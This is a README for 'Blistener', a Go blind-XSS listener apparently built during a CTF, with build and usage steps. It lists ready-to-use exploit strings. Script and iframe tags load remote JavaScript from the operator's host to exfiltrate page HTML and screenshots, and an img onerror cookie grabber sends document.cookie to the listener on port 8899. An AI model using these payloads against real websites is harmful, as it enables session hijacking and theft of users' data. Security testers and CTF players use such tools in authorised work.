Blistener (Blind-XSS listener)

Code was written quickly during a CTF and should probably be refactored. Not going to change it for now since it's working. I'll refactor when I add new features to it.

It has 2 exploits, one which will take all data available on the page including the html code and the other which will also take a screenshot of the page as well as all the data on the page.

Compiling

go build blistener.go

Usage

1. Create an output directory where the listener will store html code and png images from the xss pages it identifies

2. Start the listener:

./blistener

3. Use one of the payloads to trigger an XSS

Exploit strings

# The normal payloads will grab all content from the page including the html source
<script src="http://<your host or ip>:8899/payload.js"></script>
<iframe src="http://<your host or ip>:8899/iframe.html"></iframe>


# The extended payloads do the same as the normal payloads except that they also take a screenshot of the page 
<script src="http://<your host or ip>:8899/payload-ext.js"></script>
<iframe src="http://<your host or ip>:8899/iframe-ext.html"></iframe>

# You call also use a normal request to make sure the XSS can be trigger such as:
<img src="http://<your host or ip>:8899/" />

# Simple cookie grabber
<img src=x onerror="new Image().src = `http://<your host or ip>:8899/?c=${document.cookie}`" />

Note: The listener is on port 8899 by default, change to another port if you need.

Example trigger

Todo

• Add cli flags
• Refactor code